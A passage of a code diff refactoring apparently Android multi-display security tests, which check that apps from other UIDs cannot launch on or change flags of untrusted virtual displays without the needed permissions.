+ // Note that set withShellPermission as false in launchActivityOnDisplay is to
+ // prevent activity can launch when INTERNAL_SYSTEM_WINDOW granted by shell case.
+ separateTestJournal();
+ final ActivitySession session2 = virtualDisplayLauncher.launchActivityOnDisplay(
+ SECOND_NO_EMBEDDING_ACTIVITY, newDisplay, null /* extrasConsumer */,
+ false /* withShellPermission */, false /* waitForLaunch */);
+ assertEquals("Second activity which the UID should not accessible on private display",
+ isUidAccesibleOnDisplay(session2), false);
}
@Test
- public void testDisplayHasAccess_ExceptionWhenAddViewWithoutPresentOnPrivateDisplay()
- throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create a virtual private display.
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setPublicDisplay(false)
- .createDisplay();
- try {
- final Display display = mContext.getSystemService(DisplayManager.class).getDisplay(
- newDisplay.mId);
- final Context newDisplayContext = mContext.createDisplayContext(display);
- newDisplayContext.getSystemService(WindowManager.class).addView(new View(mContext),
- new ViewGroup.LayoutParams(WRAP_CONTENT, WRAP_CONTENT));
- } catch (IllegalArgumentException e) {
- // Exception happened when createDisplayContext with invalid display.
- return;
- }
- fail("UID should not have access to private display without present entities.");
+ public void testDisplayHasAccess_ExceptionWhenAddViewWithoutPresentOnPrivateDisplay() {
+ // Create a virtual private display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
+ try {
+ final Display display = mContext.getSystemService(DisplayManager.class).getDisplay(
+ newDisplay.mId);
+ final Context newDisplayContext = mContext.createDisplayContext(display);
+ newDisplayContext.getSystemService(WindowManager.class).addView(new View(mContext),
+ new ViewGroup.LayoutParams(WRAP_CONTENT, WRAP_CONTENT));
+ } catch (IllegalArgumentException e) {
+ // Exception happened when createDisplayContext with invalid display.
+ return;
}
+ fail("UID should not have access to private display without present entities.");
}
private boolean isUidAccesibleOnDisplay(ActivitySession session) {
@@ -510,106 +471,91 @@
/** Test that shell is allowed to launch on secondary displays. */
@Test
- public void testPermissionLaunchFromShell() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be on top",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityStack frontStack = mAmWmState.getAmState().getStackById(
- defaultDisplayFocusedStackId);
- assertEquals("Top stack must remain on primary display",
- DEFAULT_DISPLAY, frontStack.mDisplayId);
+ public void testPermissionLaunchFromShell(){
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be on top",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityStack frontStack = mAmWmState.getAmState().getStackById(
+ defaultDisplayFocusedStackId);
+ assertEquals("Top stack must remain on primary display",
+ DEFAULT_DISPLAY, frontStack.mDisplayId);
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Front activity must be on secondary display");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Test activity must be on secondary display");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
- // Launch other activity with different uid and check it is launched on dynamic stack on
- // secondary display.
- final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
- + " --display " + newDisplay.mId;
- executeShellCommand(startCmd);
+ // Launch other activity with different uid and check it is launched on dynamic stack on
+ // secondary display.
+ final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
+ + " --display " + newDisplay.mId;
+ executeShellCommand(startCmd);
- waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
- "Focus must be on newly launched app");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY);
- put(newDisplay.mId, SECOND_ACTIVITY);
- }}
- );
- }
+ waitAndAssertActivityStateOnDisplay(SECOND_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Second activity must be on newly launched app");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY),
+ pair(newDisplay.mId, SECOND_ACTIVITY));
}
/** Test that launching from app that is on external display is allowed. */
@Test
- public void testPermissionLaunchFromAppOnSecondary() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testPermissionLaunchFromAppOnSecondary() {
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch activity with different uid on secondary display.
- final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
- + " --display " + newDisplay.mId;
- executeShellCommand(startCmd);
+ // Launch activity with different uid on secondary display.
+ final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
+ + " --display " + newDisplay.mId;
+ executeShellCommand(startCmd);
- waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
+ waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
+ "Top activity must be the newly launched one");
- // Launch another activity with third different uid from app on secondary display and
- // check it is launched on secondary display.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
- SECOND_LAUNCH_BROADCAST_ACTION)
- .setDisplayId(newDisplay.mId)
- .setTargetActivity(THIRD_ACTIVITY)
- .execute();
+ // Launch another activity with third different uid from app on secondary display and
+ // check it is launched on secondary display.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
+ SECOND_LAUNCH_BROADCAST_ACTION)
+ .setDisplayId(newDisplay.mId)
+ .setTargetActivity(THIRD_ACTIVITY)
+ .execute();
- waitAndAssertTopResumedActivity(THIRD_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
- }
+ waitAndAssertTopResumedActivity(THIRD_ACTIVITY, newDisplay.mId,
+ "Top activity must be the newly launched one");
}
/** Tests that an activity can launch an activity from a different UID into its own task. */
@Test
- public void testPermissionLaunchMultiUidTask() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testPermissionLaunchMultiUidTask() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- mAmWmState.computeState(LAUNCHING_ACTIVITY);
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY);
- // Check that the first activity is launched onto the secondary display
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- ActivityStack frontStack = mAmWmState.getAmState().getStackById(
- frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(LAUNCHING_ACTIVITY),
- frontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on secondary display",
- frontStackId);
+ // Check that the first activity is launched onto the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
+ ActivityStack frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
- // Launch an activity from a different UID into the first activity's task
- getLaunchActivityBuilder().setTargetActivity(SECOND_ACTIVITY).execute();
+ // Launch an activity from a different UID into the first activity's task.
+ getLaunchActivityBuilder().setTargetActivity(SECOND_ACTIVITY).execute();
- waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
- frontStack = mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
- }
+ waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
+ "Top activity must be the newly launched one");
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
}
/**
@@ -617,38 +563,36 @@
* doesn't have anything on the display.
*/
@Test
- public void testPermissionLaunchFromOwner() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityStack frontStack =
- mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
- assertEquals("Top stack must remain on primary display",
- DEFAULT_DISPLAY, frontStack.mDisplayId);
+ public void testPermissionLaunchFromOwner() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityStack frontStack =
+ mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Top stack must remain on primary display",
+ DEFAULT_DISPLAY, frontStack.mDisplayId);
- // Launch other activity with different uid on secondary display.
- final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
- + " --display " + newDisplay.mId;
- executeShellCommand(startCmd);
+ // Launch other activity with different uid on secondary display.
+ final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
+ + " --display " + newDisplay.mId;
+ executeShellCommand(startCmd);
- waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
+ waitAndAssertActivityStateOnDisplay(SECOND_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Second activity must be the newly launched one");
- // Check that owner uid can launch its own activity on secondary display.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(LAUNCH_BROADCAST_RECEIVER, LAUNCH_BROADCAST_ACTION)
- .setNewTask(true)
- .setMultipleTask(true)
- .setDisplayId(newDisplay.mId)
- .execute();
+ // Check that owner uid can launch its own activity on secondary display.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(LAUNCH_BROADCAST_RECEIVER, LAUNCH_BROADCAST_ACTION)
+ .setNewTask(true)
+ .setMultipleTask(true)
+ .setDisplayId(newDisplay.mId)
+ .execute();
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
- }
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Top activity must be the newly launched one");
}
/**
@@ -656,114 +600,91 @@
* that external display is not allowed.
*/
@Test
- public void testPermissionLaunchFromDifferentApp() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityStack frontStack = mAmWmState.getAmState().getStackById(
- defaultDisplayFocusedStackId);
- assertEquals("Top stack must remain on primary display",
- DEFAULT_DISPLAY, frontStack.mDisplayId);
+ public void testPermissionLaunchFromDifferentApp() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityStack frontStack = mAmWmState.getAmState().getStackById(
+ defaultDisplayFocusedStackId);
+ assertEquals("Top stack must remain on primary display",
+ DEFAULT_DISPLAY, frontStack.mDisplayId);
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Top activity must be the newly launched one");
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Test activity must be the newly launched one");
- separateTestJournal();
+ separateTestJournal();
- // Launch other activity with different uid and check security exception is triggered.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
- SECOND_LAUNCH_BROADCAST_ACTION)
- .setDisplayId(newDisplay.mId)
- .setTargetActivity(THIRD_ACTIVITY)
- .execute();
+ // Launch other activity with different uid and check security exception is triggered.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
+ SECOND_LAUNCH_BROADCAST_ACTION)
+ .setDisplayId(newDisplay.mId)
+ .setTargetActivity(THIRD_ACTIVITY)
+ .execute();
- assertSecurityExceptionFromActivityLauncher();
-
- mAmWmState.waitForValidState(TEST_ACTIVITY);
- mAmWmState.assertFocusedActivity("Top activity must be the first one launched",
- TEST_ACTIVITY);
- }
- }
-
- private void assertSecurityExceptionFromActivityLauncher() {
- final String component = ActivityLauncher.TAG;
- for (int retry = 1; retry <= 5; retry++) {
- if (ActivityLauncher.hasCaughtSecurityException()) {
- return;
- }
-
- logAlways("***Waiting for SecurityException from " + component + " ... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail("Expected exception from " + component + " not found");
+ assertSecurityExceptionFromActivityLauncher();
}
/**
* Test that only private virtual display can show content with insecure keyguard.
*/
@Test
- public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Try to create new show-with-insecure-keyguard public virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setPublicDisplay(true)
- .setCanShowWithInsecureKeyguard(true)
- .setMustBeCreated(false)
- .createDisplay();
+ public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() {
+ // Try to create new show-with-insecure-keyguard public virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .setCanShowWithInsecureKeyguard(true)
+ .setMustBeCreated(false)
+ .createDisplay();
- // Check that the display is not created.
- assertNull(newDisplay);
- }
+ // Check that the display is not created.
+ assertNull(newDisplay);
}
/**
* Test setting system decoration flag and show IME flag without sufficient permissions.
*/
@Test
- @FlakyTest(bugId = 130284250)
public void testSettingFlagWithoutInternalSystemPermission() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // The reason to use a trusted display is that we can guarantee the security exception
- // is coming from lacking internal system permission.
- final ActivityDisplay trustedDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
- final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
+ // The reason to use a trusted display is that we can guarantee the security exception
+ // is coming from lacking internal system permission.
+ final DisplayContent trustedDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
- // Verify setting system decorations flag without internal system permission.
- try {
- wm.setShouldShowSystemDecors(trustedDisplay.mId, true);
+ // Verify setting system decorations flag without internal system permission.
+ try {
+ wm.setShouldShowSystemDecors(trustedDisplay.mId, true);
- // Unexpected result, restore flag to avoid affecting other tests.
- wm.setShouldShowSystemDecors(trustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for system decoration flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowSystemDecors(trustedDisplay.mId));
- fail("Should not allow setting system decoration flag without internal system "
- + "permission");
- } catch (SecurityException e) {
- // Expected security exception.
- }
+ // Unexpected result, restore flag to avoid affecting other tests.
+ wm.setShouldShowSystemDecors(trustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for system decoration flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowSystemDecors(trustedDisplay.mId));
+ fail("Should not allow setting system decoration flag without internal system "
+ + "permission");
+ } catch (SecurityException e) {
+ // Expected security exception.
+ }
- // Verify setting show IME flag without internal system permission.
- try {
- wm.setShouldShowIme(trustedDisplay.mId, true);
+ // Verify setting show IME flag without internal system permission.
+ try {
+ wm.setShouldShowIme(trustedDisplay.mId, true);
- // Unexpected result, restore flag to avoid affecting other tests.
- wm.setShouldShowIme(trustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for show IME flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowIme(trustedDisplay.mId));
- fail("Should not allow setting show IME flag without internal system permission");
- } catch (SecurityException e) {
- // Expected security exception.
- }
+ // Unexpected result, restore flag to avoid affecting other tests.
+ wm.setShouldShowIme(trustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for show IME flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowIme(trustedDisplay.mId));
+ fail("Should not allow setting show IME flag without internal system permission");
+ } catch (SecurityException e) {
+ // Expected security exception.
}
}
@@ -771,30 +692,28 @@
* Test getting system decoration flag and show IME flag without sufficient permissions.
*/
@Test
- @FlakyTest(bugId = 130284250)
- public void testGettingFlagWithoutInternalSystemPermission() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // The reason to use a trusted display is that we can guarantee the security exception
- // is coming from lacking internal system permission.
- final ActivityDisplay trustedDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
- final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
+ public void testGettingFlagWithoutInternalSystemPermission() {
+ // The reason to use a trusted display is that we can guarantee the security exception
+ // is coming from lacking internal system permission.
+ final DisplayContent trustedDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
- // Verify getting system decorations flag without internal system permission.
- try {
- wm.shouldShowSystemDecors(trustedDisplay.mId);
- fail("Only allow internal system to get system decoration flag");
- } catch (SecurityException e) {
- // Expected security exception.
- }
+ // Verify getting system decorations flag without internal system permission.
+ try {
+ wm.shouldShowSystemDecors(trustedDisplay.mId);
+ fail("Only allow internal system to get system decoration flag");
+ } catch (SecurityException e) {
+ // Expected security exception.
+ }
- // Verify getting show IME flag without internal system permission.
- try {
- wm.shouldShowIme(trustedDisplay.mId);
- fail("Only allow internal system to get show IME flag");
- } catch (SecurityException e) {
- // Expected security exception.
- }
+ // Verify getting show IME flag without internal system permission.
+ try {
+ wm.shouldShowIme(trustedDisplay.mId);
+ fail("Only allow internal system to get show IME flag");
+ } catch (SecurityException e) {
+ // Expected security exception.
}
}
@@ -802,46 +721,44 @@
* Test setting system decoration flag and show IME flag to the untrusted display.
*/
@Test
- @FlakyTest(bugId = 130284250)
public void testSettingFlagToUntrustedDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay untrustedDisplay = virtualDisplaySession.createDisplay();
- final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
+ final DisplayContent untrustedDisplay = createManagedVirtualDisplaySession()
+ .createDisplay();
+ final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
- // Verify setting system decoration flag to an untrusted display.
- getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
- try {
- wm.setShouldShowSystemDecors(untrustedDisplay.mId, true);
+ // Verify setting system decoration flag to an untrusted display.
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ wm.setShouldShowSystemDecors(untrustedDisplay.mId, true);
- // Unexpected result, restore flag to avoid affecting other tests.
- wm.setShouldShowSystemDecors(untrustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for system decoration flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowSystemDecors(untrustedDisplay.mId));
- fail("Should not allow setting system decoration flag to the untrusted virtual "
- + "display");
- } catch (SecurityException e) {
- // Expected security exception.
- } finally {
- getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
- }
+ // Unexpected result, restore flag to avoid affecting other tests.
+ wm.setShouldShowSystemDecors(untrustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for system decoration flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowSystemDecors(untrustedDisplay.mId));
+ fail("Should not allow setting system decoration flag to the untrusted virtual "
+ + "display");
+ } catch (SecurityException e) {
+ // Expected security exception.
+ } finally {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
- // Verify setting show IME flag to an untrusted display.
- getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
- try {
- wm.setShouldShowIme(untrustedDisplay.mId, true);
+ // Verify setting show IME flag to an untrusted display.
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ wm.setShouldShowIme(untrustedDisplay.mId, true);
- // Unexpected result, restore flag to avoid affecting other tests.
- wm.setShouldShowIme(untrustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for show IME flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowIme(untrustedDisplay.mId));
- fail("Should not allow setting show IME flag to the untrusted virtual display");
- } catch (SecurityException e) {
- // Expected security exception.
- } finally {
- getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
- }
+ // Unexpected result, restore flag to avoid affecting other tests.
+ wm.setShouldShowIme(untrustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for show IME flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowIme(untrustedDisplay.mId));
+ fail("Should not allow setting show IME flag to the untrusted virtual display");
+ } catch (SecurityException e) {
+ // Expected security exception.
+ } finally {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
}
}
@@ -849,76 +766,122 @@
* Test getting system decoration flag and show IME flag from the untrusted display.
*/
@Test
- @FlakyTest(bugId = 130284250)
- public void testGettingFlagFromUntrustedDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay untrustedDisplay = virtualDisplaySession.createDisplay();
- final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
+ public void testGettingFlagFromUntrustedDisplay() {
+ final DisplayContent untrustedDisplay = createManagedVirtualDisplaySession()
+ .createDisplay();
+ final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
- // Verify getting system decoration flag from an untrusted display.
- SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
- "Display should not support showing system decorations",
- wm.shouldShowSystemDecors(untrustedDisplay.mId)));
+ // Verify getting system decoration flag from an untrusted display.
+ SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
+ "Display should not support showing system decorations",
+ wm.shouldShowSystemDecors(untrustedDisplay.mId)));
- // Verify getting show IME flag from an untrusted display.
- SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
- "Display should not support showing IME window",
- wm.shouldShowIme(untrustedDisplay.mId)));
- }
+ // Verify getting show IME flag from an untrusted display.
+ SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
+ "Display should not support showing IME window",
+ wm.shouldShowIme(untrustedDisplay.mId)));
}
/**
* Test setting system decoration flag and show IME flag to the trusted display.
*/
@Test
- @FlakyTest(bugId = 130284250)
public void testSettingFlagToTrustedDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay trustedDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
- final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
+ final DisplayContent trustedDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final WindowManager wm = mTargetContext.getSystemService(WindowManager.class);
- // Verify setting system decoration flag to a trusted display.
- SystemUtil.runWithShellPermissionIdentity(() -> {
- // Assume the display should not support system decorations by default.
- assertFalse(wm.shouldShowSystemDecors(trustedDisplay.mId));
+ // Verify setting system decoration flag to a trusted display.
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ // Assume the display should not support system decorations by default.
+ assertFalse(wm.shouldShowSystemDecors(trustedDisplay.mId));
- try {
- wm.setShouldShowSystemDecors(trustedDisplay.mId, true);
- TestUtils.waitUntil("Waiting for system decoration flag to be set",
- 5 /* timeoutSecond */,
- () -> wm.shouldShowSystemDecors(trustedDisplay.mId));
+ try {
+ wm.setShouldShowSystemDecors(trustedDisplay.mId, true);
+ TestUtils.waitUntil("Waiting for system decoration flag to be set",
+ 5 /* timeoutSecond */,
+ () -> wm.shouldShowSystemDecors(trustedDisplay.mId));
- assertTrue(wm.shouldShowSystemDecors(trustedDisplay.mId));
- } finally {
- // Restore flag to avoid affecting other tests.
- wm.setShouldShowSystemDecors(trustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for system decoration flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowSystemDecors(trustedDisplay.mId));
- }
- });
+ assertTrue(wm.shouldShowSystemDecors(trustedDisplay.mId));
+ } finally {
+ // Restore flag to avoid affecting other tests.
+ wm.setShouldShowSystemDecors(trustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for system decoration flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowSystemDecors(trustedDisplay.mId));
+ }
+ });
- // Verify setting show IME flag to a trusted display.
- SystemUtil.runWithShellPermissionIdentity(() -> {
- // Assume the display should not show IME window by default.
- assertFalse(wm.shouldShowIme(trustedDisplay.mId));
+ // Verify setting show IME flag to a trusted display.
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ // Assume the display should not show IME window by default.
+ assertFalse(wm.shouldShowIme(trustedDisplay.mId));
- try {
- wm.setShouldShowIme(trustedDisplay.mId, true);
- TestUtils.waitUntil("Waiting for show IME flag to be set",
- 5 /* timeoutSecond */,
- () -> wm.shouldShowIme(trustedDisplay.mId));
+ try {
+ wm.setShouldShowIme(trustedDisplay.mId, true);
+ TestUtils.waitUntil("Waiting for show IME flag to be set",
+ 5 /* timeoutSecond */,
+ () -> wm.shouldShowIme(trustedDisplay.mId));
- assertTrue(wm.shouldShowIme(trustedDisplay.mId));
- } finally {
- // Restore flag to avoid affecting other tests.
- wm.setShouldShowIme(trustedDisplay.mId, false);
- TestUtils.waitUntil("Waiting for show IME flag to be set",
- 5 /* timeoutSecond */,
- () -> !wm.shouldShowIme(trustedDisplay.mId));
- }
- });
- }
+ assertTrue(wm.shouldShowIme(trustedDisplay.mId));
+ } finally {
+ // Restore flag to avoid affecting other tests.
+ wm.setShouldShowIme(trustedDisplay.mId, false);
+ TestUtils.waitUntil("Waiting for show IME flag to be set",
+ 5 /* timeoutSecond */,
+ () -> !wm.shouldShowIme(trustedDisplay.mId));
+ }
+ });
+ }
+
+ @Test
+ public void testNoInputConnectionForUntrustedVirtualDisplay() throws Exception {
+ final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+ createManagedTestActivitySession();
+ // Create a untrusted virtual display and assume the display should not show IME window.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true).createDisplay();
+
+ // Launch Ime test activity in virtual display.
+ imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
+ newDisplay.mId);
+ // Verify that activity which lives in untrusted display should not be focused.
+ assertNotEquals("ImeTestActivity should not be focused",
+ mAmWmState.getAmState().getFocusedActivity(),
+ imeTestActivitySession.getActivity().getComponentName().toString());
+
+ // Expect onStartInput won't executed in the IME client.
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ final EditText editText = imeTestActivitySession.getActivity().mEditText;
